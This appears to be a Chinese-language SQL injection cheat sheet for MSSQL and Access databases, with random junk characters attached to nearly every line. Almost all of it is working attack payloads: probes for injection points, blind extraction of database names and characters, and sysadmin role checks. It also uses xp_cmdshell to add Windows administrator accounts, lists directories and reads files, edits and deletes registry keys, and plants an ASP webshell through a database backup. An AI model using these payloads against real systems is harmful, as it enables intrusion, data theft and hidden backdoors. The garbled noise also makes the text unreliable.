1.判断是否有注入;and 1=1 ;and 1=2 x`Jh NAO>
2.初步判断是否是mssql ;and user>0 PIM4c
DE!c+s_g4
3.注入参数是字符'and [查询条件] and ''=' >*Ctp +X@
L&hv:+3N
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1fqJtP6
si#1sdR
5.判断数据库系统 1h#e-Oyff
,f}u|D 3@
;and (select count(*) from sysobjects)>0 mssql &NH[b1NMr
v4vIcHDs
;and (select count(*) from msysobjects)>0 access D.*o^{w|
\k.W
F|~
1C+d&U
3gs!ojG
6.猜数据库 ;and (select Count(*) from [数据库名])>0 RX?y}BDo0
sw+vyBV)r
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8c%_R23
v,d'SR.
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Iad&Z8E
"=,IbC
9.(1)猜字段的ascii值(access) dO4Jf9)
T\w{&3ONm
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 om2)Cd9~7
B{!*OC{l
(2)猜字段的ascii值(mssql) e#!p6+#"
Ynl Zyw!
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 rIeOli:<
yq12"Rs
10.测试权限结构(mssql) s9,Z}]Th
wL[{6wL
KJ
cuZ."wX
Q!{,^Qb
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- X#Hl<d2
I ;F\'P)e
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uZa)N-=b2
xM?tdQ~VHY
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- /_r` A
Rw^X5ByJE
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- @3`Pq2<
~p
x2kHZ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- |?t}7V#[
t'[`"pp=
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- q
+!i6!6r
m8Rt>DY
;and 1=(select IS_MEMBER('db_owner'));-- ]v#T9QQN
7A^L$TY
vF9fXY=
p8MN>pLP%
11.添加mssql和系统的帐户 Bi7&yS5V
|%uy{
;exec master.dbo.sp_addlogin username;-- Bh;N:{&^Eu
;exec master.dbo.sp_password null,username,password;-- lsU`~3nr
H^+Znmo
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- '#>(JN5\
\f'=
;exec master.dbo.xp_cmdshell 'net user username password @b{$s
yC[Q-P *rG
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Va^(cnwa
hbm#H7Y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ~7:Q+ 0,,
6t3Zi:=I
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- gw<udhk
f=-R<l
?N&s.
DJ`xCs!R
12.(1)遍历目录 WQsu}_g5y
NG?g(
;create table dirs(paths varchar(100), id int) mpD[k9`x#
lS?#(}a1)
;insert dirs exec master.dbo.xp_dirtree 'c:\' \lK `
(?ZS9&y}
;and (select top 1 paths from dirs)>0 fa!8+kfi
UL"
M?).5
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) fDAT#nlyp
!*o{xq
f |NXibmP
B^C5?
(2)遍历目录 ;#=y5Q4
f<>CSjQ4c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- t? Q
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7,Y+FZ
)1f.=QZN^;
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 dw%g9DT
-m$2"_
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 PoD/i@
3|D .r-Q
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 n>xuef
|{La@X
}>_
kNX8y--
13.mssql中的存储过程 9Dd`x7$a
A@e!~
xp_regenumvalues 注册表根键, 子键 =KHX_ib
Z<'iT%6+r
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 er<_;"`1
8:K_S a%
xp_regread 根键,子键,键值名 L;fz7?_j
le6eorK8
;exec xp_regread czK}F/Sg `
lU.aDmy<
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 JY%l1:}G3
o1H6E1$=
xp_regwrite 根键,子键, 值名, 值类型, 值 3&R1C>JS ]
_~;K]
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /*Gbl
lYU?j|n
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Rp>%umDyL
HC"yC;_
xp_regdeletevalue 根键,子键,值名 CHDt^(oa!B
4wx{i6
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <&HHo>rl
DIgur}q)@
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 W>u{JgY
l0E]#ra"
bL|$\'S
cDz^jC
14.mssql的backup创建webshell 67U6`9d
\
*A!@T
use model H%{k.#O
ITD&wg
create table cmd(str image); 28j/K=0(
)ib$*dmUP
insert into cmd(str) values (''); "om[S :ai
3~Ll<8fv
backup database model to disk='c:\l.asp'; z7pw~Tqlz
uW4.Q_O!H
CW FE{
h r6?9RJY
15.mssql内置函数 zX6Q7Bc
s\Ln
;and (select @@version)>0 获得Windows的版本号 - *qoF(/U
27MwZz
;and user_name()='dbo' 判断当前系统的连接用户是不是sa I~nz~U:ak
UYzNaw4/x
;and (select user_name())>0 爆当前系统的连接用户 cGlpJ)'-{
BN6cu9a
;and (select db_name())>0 得到当前连接的数据库 *hh9
K
wM}AWmH
%zO>]f&
vi` VK&+r
16.简洁的webshell T/:6Z
#$l:%
use model fnIF<Zt
tjQ6[`
create table cmd(str image); )"_&CYnd
N$u: !
insert into cmd(str) values (''); UK)wV
`rV-,-r@
backup database model to disk='g:\wwwtest\l.asp';